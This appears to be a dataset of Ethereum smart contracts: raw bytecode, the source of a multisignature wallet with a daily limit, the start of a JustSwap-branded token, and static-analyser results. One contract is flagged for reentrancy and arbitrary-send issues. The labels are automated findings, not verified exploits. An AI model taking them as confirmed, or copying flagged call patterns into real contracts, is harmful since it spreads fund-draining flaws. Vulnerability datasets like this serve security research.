82612a0f565b602082019050919050565b600061224b601b83612690565b915061225682612a38565b602082019050919050565b600061226e602183612690565b915061227982612a61565b604082019050919050565b6000612291602083612690565b915061229c82612ab0565b602082019050919050565b60006122b4602983612690565b91506122bf82612ad9565b604082019050919050565b60006122d7602583612690565b91506122e282612b28565b604082019050919050565b60006122fa602483612690565b915061230582612b77565b604082019050919050565b600061231d601883612690565b915061232882612bc6565b602082019050919050565b61233c816127f4565b82525050565b61234b816127fe565b82525050565b600060208201905061236660008301846120ee565b92915050565b600060408201905061238160008301856120ee565b61238e60208301846120ee565b9392505050565b60006040820190506123aa60008301856120ee565b6123b76020830184612333565b9392505050565b600060c0820190506123d360008301896120ee565b6123e06020830188612333565b6123ed604083018761216a565b6123fa606083018661216a565b61240760808301856120ee565b61241460a0830184612333565b979650505050505050565b6000602082019050612434600083018461215b565b92915050565b600060208201905081810360008301526124548184612179565b905092915050565b60006020820190508181036000830152612475816121b2565b9050919050565b60006020820190508181036000830152612495816121d5565b9050919050565b600060208201905081810360008301526124b5816121f8565b9050919050565b600060208201905081810360008301526124d58161221b565b9050919050565b600060208201905081810360008301526124f58161223e565b9050919050565b6000602082019050818103600083015261251581612261565b9050919050565b6000602082019050818103600083015261253581612284565b9050919050565b60006020820190508181036000830152612555816122a7565b9050919050565b60006020820190508181036000830152612575816122ca565b9050919050565b60006020820190508181036000830152612595816122ed565b9050919050565b600060208201905081810360008301526125b581612310565b9050919050565b60006020820190506125d16000830184612333565b92915050565b600060a0820190506125ec6000830188612333565b6125f9602083018761216a565b818103604083015261260b81866120fd565b905061261a60608301856120ee565b6126276080830184612333565b9695505050505050565b60006020820190506126466000830184612342565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006126ac826127f4565b91506126b7836127f4565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156126ec576126eb612850565b5b828201905092915050565b6000612702826127f4565b915061270d836127f4565b92508261271d5761271c61287f565b5b828204905092915050565b6000612733826127f4565b915061273e836127f4565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561277757612776612850565b5b828202905092915050565b600061278d826127f4565b9150612798836127f4565b9250828210156127ab576127aa612850565b5b828203905092915050565b60006127c1826127d4565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612816826127f4565b9050919050565b60005b8381101561283b578082015181840152602081019050612820565b8381111561284a576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f546178206d757374206265206e6f6e2d6e656761746976650000000000000000600082015250565b612bf8816127b6565b8114612c0357600080fd5b50565b612c0f816127c8565b8114612c1a57600080fd5b50565b612c26816127f4565b8114612c3157600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ea5d1539737aab7d69e75a7252e22c56506846f4c1bd5cb1f95d8f8c43a0f69e64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
4,805
0x18a583e7a535ab8623f03ed2a853a7f9d8d4f1c4
pragma solidity 0.4.10; /// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution. /// @author Stefan George - <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="572423323136397930323825303217343839243239242e2479393223">[email&#160;protected]</a>> contract MultiSigWallet { uint constant public MAX_OWNER_COUNT = 50; event Confirmation(address indexed sender, uint indexed transactionId); event Revocation(address indexed sender, uint indexed transactionId); event Submission(uint indexed transactionId); event Execution(uint indexed transactionId); event ExecutionFailure(uint indexed transactionId); event Deposit(address indexed sender, uint value); event OwnerAddition(address indexed owner); event OwnerRemoval(address indexed owner); event RequirementChange(uint required); mapping (uint => Transaction) public transactions; mapping (uint => mapping (address => bool)) public confirmations; mapping (address => bool) public isOwner; address[] public owners; uint public required; uint public transactionCount; struct Transaction { address destination; uint value; bytes data; bool executed; } modifier onlyWallet() { if (msg.sender != address(this)) throw; _; } modifier ownerDoesNotExist(address owner) { if (isOwner[owner]) throw; _; } modifier ownerExists(address owner) { if (!isOwner[owner]) throw; _; } modifier transactionExists(uint transactionId) { if (transactions[transactionId].destination == 0) throw; _; } modifier confirmed(uint transactionId, address owner) { if (!confirmations[transactionId][owner]) throw; _; } modifier notConfirmed(uint transactionId, address owner) { if (confirmations[transactionId][owner]) throw; _; } modifier notExecuted(uint transactionId) { if (transactions[transactionId].executed) throw; _; } modifier notNull(address _address) { if (_address == 0) throw; _; } modifier validRequirement(uint ownerCount, uint _required) { if ( ownerCount > MAX_OWNER_COUNT || _required > ownerCount || _required == 0 || ownerCount == 0) throw; _; } /// @dev Fallback function allows to deposit ether. function() payable { if (msg.value > 0) Deposit(msg.sender, msg.value); } /* * Public functions */ /// @dev Contract constructor sets initial owners and required number of confirmations. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. function MultiSigWallet(address[] _owners, uint _required) public validRequirement(_owners.length, _required) { for (uint i=0; i<_owners.length; i++) { if (isOwner[_owners[i]] || _owners[i] == 0) throw; isOwner[_owners[i]] = true; } owners = _owners; required = _required; } /// @dev Allows to add a new owner. Transaction has to be sent by wallet. /// @param owner Address of new owner. function addOwner(address owner) public onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) { isOwner[owner] = true; owners.push(owner); OwnerAddition(owner); } /// @dev Allows to remove an owner. Transaction has to be sent by wallet. /// @param owner Address of owner. function removeOwner(address owner) public onlyWallet ownerExists(owner) { isOwner[owner] = false; for (uint i=0; i<owners.length - 1; i++) if (owners[i] == owner) { owners[i] = owners[owners.length - 1]; break; } owners.length -= 1; if (required > owners.length) changeRequirement(owners.length); OwnerRemoval(owner); } /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet. /// @param owner Address of owner to be replaced. /// @param owner Address of new owner. function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint i=0; i<owners.length; i++) if (owners[i] == owner) { owners[i] = newOwner; break; } isOwner[owner] = false; isOwner[newOwner] = true; OwnerRemoval(owner); OwnerAddition(newOwner); } /// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet. /// @param _required Number of required confirmations. function changeRequirement(uint _required) public onlyWallet validRequirement(owners.length, _required) { required = _required; RequirementChange(_required); } /// @dev Allows an owner to submit and confirm a transaction. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function submitTransaction(address destination, uint value, bytes data) public returns (uint transactionId) { transactionId = addTransaction(destination, value, data); confirmTransaction(transactionId); } /// @dev Allows an owner to confirm a transaction. /// @param transactionId Transaction ID. function confirmTransaction(uint transactionId) public ownerExists(msg.sender) transactionExists(transactionId) notConfirmed(transactionId, msg.sender) { confirmations[transactionId][msg.sender] = true; Confirmation(msg.sender, transactionId); executeTransaction(transactionId); } /// @dev Allows an owner to revoke a confirmation for a transaction. /// @param transactionId Transaction ID. function revokeConfirmation(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { confirmations[transactionId][msg.sender] = false; Revocation(msg.sender, transactionId); } /// @dev Allows anyone to execute a confirmed transaction. /// @param transactionId Transaction ID. function executeTransaction(uint transactionId) public notExecuted(transactionId) { if (isConfirmed(transactionId)) { Transaction tx = transactions[transactionId]; tx.executed = true; if (tx.destination.call.value(tx.value)(tx.data)) Execution(transactionId); else { ExecutionFailure(transactionId); tx.executed = false; } } } /// @dev Returns the confirmation status of a transaction. /// @param transactionId Transaction ID. /// @return Confirmation status. function isConfirmed(uint transactionId) public constant returns (bool) { uint count = 0; for (uint i=0; i<owners.length; i++) { if (confirmations[transactionId][owners[i]]) count += 1; if (count == required) return true; } } /* * Internal functions */ /// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function addTransaction(address destination, uint value, bytes data) internal notNull(destination) returns (uint transactionId) { transactionId = transactionCount; transactions[transactionId] = Transaction({ destination: destination, value: value, data: data, executed: false }); transactionCount += 1; Submission(transactionId); } /* * Web3 call functions */ /// @dev Returns number of confirmations of a transaction. /// @param transactionId Transaction ID. /// @return Number of confirmations. function getConfirmationCount(uint transactionId) public constant returns (uint count) { for (uint i=0; i<owners.length; i++) if (confirmations[transactionId][owners[i]]) count += 1; } /// @dev Returns total number of transactions after filers are applied. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Total number of transactions after filters are applied. function getTransactionCount(bool pending, bool executed) public constant returns (uint count) { for (uint i=0; i<transactionCount; i++) if ( pending && !transactions[i].executed || executed && transactions[i].executed) count += 1; } /// @dev Returns list of owners. /// @return List of owner addresses. function getOwners() public constant returns (address[]) { return owners; } /// @dev Returns array with owner addresses, which confirmed transaction. /// @param transactionId Transaction ID. /// @return Returns array of owner addresses. function getConfirmations(uint transactionId) public constant returns (address[] _confirmations) { address[] memory confirmationsTemp = new address[](owners.length); uint count = 0; uint i; for (i=0; i<owners.length; i++) if (confirmations[transactionId][owners[i]]) { confirmationsTemp[count] = owners[i]; count += 1; } _confirmations = new address[](count); for (i=0; i<count; i++) _confirmations[i] = confirmationsTemp[i]; } /// @dev Returns list of transaction IDs in defined range. /// @param from Index start position of transaction array. /// @param to Index end position of transaction array. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Returns array of transaction IDs. function getTransactionIds(uint from, uint to, bool pending, bool executed) public constant returns (uint[] _transactionIds) { uint[] memory transactionIdsTemp = new uint[](transactionCount); uint count = 0; uint i; for (i=0; i<transactionCount; i++) if ( pending && !transactions[i].executed || executed && transactions[i].executed) { transactionIdsTemp[count] = i; count += 1; } _transactionIds = new uint[](to - from); for (i=from; i<to; i++) _transactionIds[i - from] = transactionIdsTemp[i]; } } /// @title Multisignature wallet with daily limit - Allows an owner to withdraw a daily limit without multisig. /// @author Stefan George - <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="93e0e7f6f5f2fdbdf4f6fce1f4f6d3f0fcfde0f6fde0eae0bdfdf6e7">[email&#160;protected]</a>> contract MultiSigWalletWithDailyLimit is MultiSigWallet { event DailyLimitChange(uint dailyLimit); uint public dailyLimit; uint public lastDay; uint public spentToday; /* * Public functions */ /// @dev Contract constructor sets initial owners, required number of confirmations and daily withdraw limit. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. /// @param _dailyLimit Amount in wei, which can be withdrawn without confirmations on a daily basis. function MultiSigWalletWithDailyLimit(address[] _owners, uint _required, uint _dailyLimit) public MultiSigWallet(_owners, _required) { dailyLimit = _dailyLimit; } /// @dev Allows to change the daily limit. Transaction has to be sent by wallet. /// @param _dailyLimit Amount in wei. function changeDailyLimit(uint _dailyLimit) public onlyWallet { dailyLimit = _dailyLimit; DailyLimitChange(_dailyLimit); } /// @dev Allows anyone to execute a confirmed transaction or ether withdraws until daily limit is reached. /// @param transactionId Transaction ID. function executeTransaction(uint transactionId) public notExecuted(transactionId) { Transaction tx = transactions[transactionId]; bool confirmed = isConfirmed(transactionId); if (confirmed || tx.data.length == 0 && isUnderLimit(tx.value)) { tx.executed = true; if (!confirmed) spentToday += tx.value; if (tx.destination.call.value(tx.value)(tx.data)) Execution(transactionId); else { ExecutionFailure(transactionId); tx.executed = false; if (!confirmed) spentToday -= tx.value; } } } /* * Internal functions */ /// @dev Returns if amount is within daily limit and resets spentToday after one day. /// @param amount Amount to withdraw. /// @return Returns if amount is under daily limit. function isUnderLimit(uint amount) internal returns (bool) { if (now > lastDay + 24 hours) { lastDay = now; spentToday = 0; } if (spentToday + amount > dailyLimit || spentToday + amount < spentToday) return false; return true; } /* * Web3 call functions */ /// @dev Returns maximum withdraw amount. /// @return Returns amount. function calcMaxWithdraw() public constant returns (uint) { if (now > lastDay + 24 hours) return dailyLimit; if (dailyLimit < spentToday) return 0; return dailyLimit - spentToday; } }
0x6060604052361561011b576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063025e7c271461017c578063173825d9146101dc57806320ea8d86146102125780632f54bf6e146102325780633411c81c1461028057806354741525146102d75780637065cb4814610318578063784547a71461034e5780638b51d13f146103865780639ace38c2146103ba578063a0e67e2b146104b5578063a8abe69a1461052a578063b5dc40c3146105cc578063b77bf6001461064f578063ba51a6df14610675578063c01a8c8414610695578063c6427474146106b5578063d74f8edd1461074b578063dc8452cd14610771578063e20056e614610797578063ee22610b146107ec575b61017a5b6000341115610177573373ffffffffffffffffffffffffffffffffffffffff167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c346040518082815260200191505060405180910390a25b5b565b005b341561018457fe5b61019a600480803590602001909190505061080c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156101e457fe5b610210600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061084c565b005b341561021a57fe5b6102306004808035906020019091905050610af4565b005b341561023a57fe5b610266600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ca5565b604051808215151515815260200191505060405180910390f35b341561028857fe5b6102bd600480803590602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610cc5565b604051808215151515815260200191505060405180910390f35b34156102df57fe5b610302600480803515159060200190919080351515906020019091905050610cf4565b6040518082815260200191505060405180910390f35b341561032057fe5b61034c600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d8b565b005b341561035657fe5b61036c6004808035906020019091905050610f8e565b604051808215151515815260200191505060405180910390f35b341561038e57fe5b6103a46004808035906020019091905050611078565b6040518082815260200191505060405180910390f35b34156103c257fe5b6103d86004808035906020019091905050611148565b604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200184815260200180602001831515151581526020018281038252848181546001816001161561010002031660029004815260200191508054600181600116156101000203166002900480156104a35780601f10610478576101008083540402835291602001916104a3565b820191906000526020600020905b81548152906001019060200180831161048657829003601f168201915b50509550505050505060405180910390f35b34156104bd57fe5b6104c56111a4565b6040518080602001828103825283818151815260200191508051906020019060200280838360008314610517575b805182526020831115610517576020820191506020810190506020830392506104f3565b5050509050019250505060405180910390f35b341561053257fe5b610567600480803590602001909190803590602001909190803515159060200190919080351515906020019091905050611239565b60405180806020018281038252838181518152602001915080519060200190602002808383600083146105b9575b8051825260208311156105b957602082019150602081019050602083039250610595565b5050509050019250505060405180910390f35b34156105d457fe5b6105ea600480803590602001909190505061139d565b604051808060200182810382528381815181526020019150805190602001906020028083836000831461063c575b80518252602083111561063c57602082019150602081019050602083039250610618565b5050509050019250505060405180910390f35b341561065757fe5b61065f6115cf565b6040518082815260200191505060405180910390f35b341561067d57fe5b61069360048080359060200190919050506115d5565b005b341561069d57fe5b6106b3600480803590602001909190505061168c565b005b34156106bd57fe5b610735600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611871565b6040518082815260200191505060405180910390f35b341561075357fe5b61075b611891565b6040518082815260200191505060405180910390f35b341561077957fe5b610781611896565b6040518082815260200191505060405180910390f35b341561079f57fe5b6107ea600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061189c565b005b34156107f457fe5b61080a6004808035906020019091905050611bc1565b005b60038181548110151561081b57fe5b906000526020600020900160005b915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108895760006000fd5b81600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156108e35760006000fd5b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600091505b600160038054905003821015610a6f578273ffffffffffffffffffffffffffffffffffffffff1660038381548110151561097657fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610a615760036001600380549050038154811015156109d657fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600383815481101515610a1257fe5b906000526020600020900160005b6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610a6f565b5b8180600101925050610940565b6001600381818054905003915081610a879190611edd565b506003805490506004541115610aa657610aa56003805490506115d5565b5b8273ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405180905060405180910390a25b5b505b5050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610b4e5760006000fd5b81336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610bba5760006000fd5b836000600082815260200190815260200160002060030160009054906101000a900460ff1615610bea5760006000fd5b60006001600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e960405180905060405180910390a35b5b505b50505b5050565b60026020528060005260406000206000915054906101000a900460ff1681565b60016020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b60006000600090505b600554811015610d8357838015610d3557506000600082815260200190815260200160002060030160009054906101000a900460ff16155b80610d695750828015610d6857506000600082815260200190815260200160002060030160009054906101000a900460ff165b5b15610d75576001820191505b5b8080600101915050610cfd565b5b5092915050565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610dc65760006000fd5b80600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610e1f5760006000fd5b8160008173ffffffffffffffffffffffffffffffffffffffff161415610e455760006000fd5b6001600380549050016004546032821180610e5f57508181115b80610e6a5750600081145b80610e755750600082145b15610e805760006000fd5b6001600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060038054806001018281610eec9190611f09565b916000526020600020900160005b87909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550508473ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405180905060405180910390a25b5b50505b505b505b50565b60006000600060009150600090505b60038054905081101561107057600160008581526020019081526020016000206000600383815481101515610fce57fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561104f576001820191505b6004548214156110625760019250611071565b5b8080600101915050610f9d565b5b5050919050565b60006000600090505b600380549050811015611141576001600084815260200190815260200160002060006003838154811015156110b257fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611133576001820191505b5b8080600101915050611081565b5b50919050565b60006020528060005260406000206000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169080600101549080600201908060030160009054906101000a900460ff16905084565b6111ac611f35565b600380548060200260200160405190810160405280929190818152602001828054801561122e57602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190600101908083116111e4575b505050505090505b90565b611241611f49565b611249611f49565b6000600060055460405180591061125d5750595b908082528060200260200182016040525b50925060009150600090505b60055481101561131d578580156112b257506000600082815260200190815260200160002060030160009054906101000a900460ff16155b806112e657508480156112e557506000600082815260200190815260200160002060030160009054906101000a900460ff165b5b1561130f578083838151811015156112fa57fe5b90602001906020020181815250506001820191505b5b808060010191505061127a565b87870360405180591061132d5750595b908082528060200260200182016040525b5093508790505b8681101561139157828181518110151561135b57fe5b906020019060200201518489830381518110151561137557fe5b90602001906020020181815250505b8080600101915050611345565b5b505050949350505050565b6113a5611f35565b6113ad611f35565b600060006003805490506040518059106113c45750595b908082528060200260200182016040525b50925060009150600090505b6003805490508110156115275760016000868152602001908152602001600020600060038381548110151561141257fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156115195760038181548110151561149b57fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683838151811015156114d657fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506001820191505b5b80806001019150506113e1565b816040518059106115355750595b908082528060200260200182016040525b509350600090505b818110156115c657828181518110151561156457fe5b90602001906020020151848281518110151561157c57fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250505b808060010191505061154e565b5b505050919050565b60055481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156116105760006000fd5b60038054905081603282118061162557508181115b806116305750600081145b8061163b5750600082145b156116465760006000fd5b826004819055507fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a836040518082815260200191505060405180910390a15b5b50505b50565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156116e65760006000fd5b8160006000600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156117425760006000fd5b82336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156117ad5760006000fd5b60016001600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef60405180905060405180910390a361186685611bc1565b5b5b50505b505b5050565b600061187e848484611d86565b90506118898161168c565b5b9392505050565b603281565b60045481565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156118d95760006000fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156119335760006000fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561198c5760006000fd5b600092505b600380549050831015611a7a578473ffffffffffffffffffffffffffffffffffffffff166003848154811015156119c457fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611a6c5783600384815481101515611a1d57fe5b906000526020600020900160005b6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611a7a565b5b8280600101935050611991565b6000600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508473ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405180905060405180910390a28373ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405180905060405180910390a25b5b505b505b505050565b6000816000600082815260200190815260200160002060030160009054906101000a900460ff1615611bf35760006000fd5b611bfc83610f8e565b15611d7f5760006000848152602001908152602001600020915060018260030160006101000a81548160ff0219169083151502179055508160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168260010154836002016040518082805460018160011615610100020316600290048015611cdc5780601f10611cb157610100808354040283529160200191611cdc565b820191906000526020600020905b815481529060010190602001808311611cbf57829003601f168201915b505091505060006040518083038185876185025a03f19250505015611d3057827f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7560405180905060405180910390a2611d7e565b827f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923660405180905060405180910390a260008260030160006101000a81548160ff0219169083151502179055505b5b5b5b505050565b60008360008173ffffffffffffffffffffffffffffffffffffffff161415611dae5760006000fd5b60055491506080604051908101604052808673ffffffffffffffffffffffffffffffffffffffff168152602001858152602001848152602001600015158152506000600084815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550602082015181600101556040820151816002019080519060200190611e6e929190611f5d565b5060608201518160030160006101000a81548160ff0219169083151502179055509050506001600560008282540192505081905550817fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5160405180905060405180910390a25b5b509392505050565b815481835581811511611f0457818360005260206000209182019101611f039190611fdd565b5b505050565b815481835581811511611f3057818360005260206000209182019101611f2f9190611fdd565b5b505050565b602060405190810160405280600081525090565b602060405190810160405280600081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10611f9e57805160ff1916838001178555611fcc565b82800160010185558215611fcc579182015b82811115611fcb578251825591602001919060010190611fb0565b5b509050611fd99190611fdd565b5090565b611fff91905b80821115611ffb576000816000905550600101611fe3565b5090565b905600a165627a7a72305820bd79aa9f4dbc029acdf786798818425438863100c244b799cae6d69a244e22630029
{"success": true, "error": null, "results": {}}
4,806
0x2a96be519721e5372d508e621294c6f446e4fa1b
/* _ _ ____ | |_ _ ___| |_/ ___|_ ____ _ _ __ _ | | | | / __| __\___ \ \ /\ / / _` | '_ \ | |_| | |_| \__ \ |_ ___) \ V V / (_| | |_) | \___/ \__,_|___/\__|____/ \_/\_/ \__,_| .__/ |_| (JST) JustSwap|A token of decentralized exchange protocol for automated liquidity provision on TRON Website: https://justswap.io/ */ pragma solidity ^0.5.16; interface IERC20 { function totalSupply() external view returns (uint); function balanceOf(address account) external view returns (uint); function transfer(address recipient, uint amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint amount) external returns (bool); function transferFrom(address sender, address recipient, uint amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } contract Context { constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping (address => uint) private _balances; mapping (address => mapping (address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns (uint) { return _totalSupply; } function balanceOf(address account) public view returns (uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns (bool) { //require(!_tokenSaleMode || msg.sender == governance, "token sale is ongoing"); _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns (uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns (bool) { //require(!_tokenSaleMode || msg.sender == governance, "token sale is 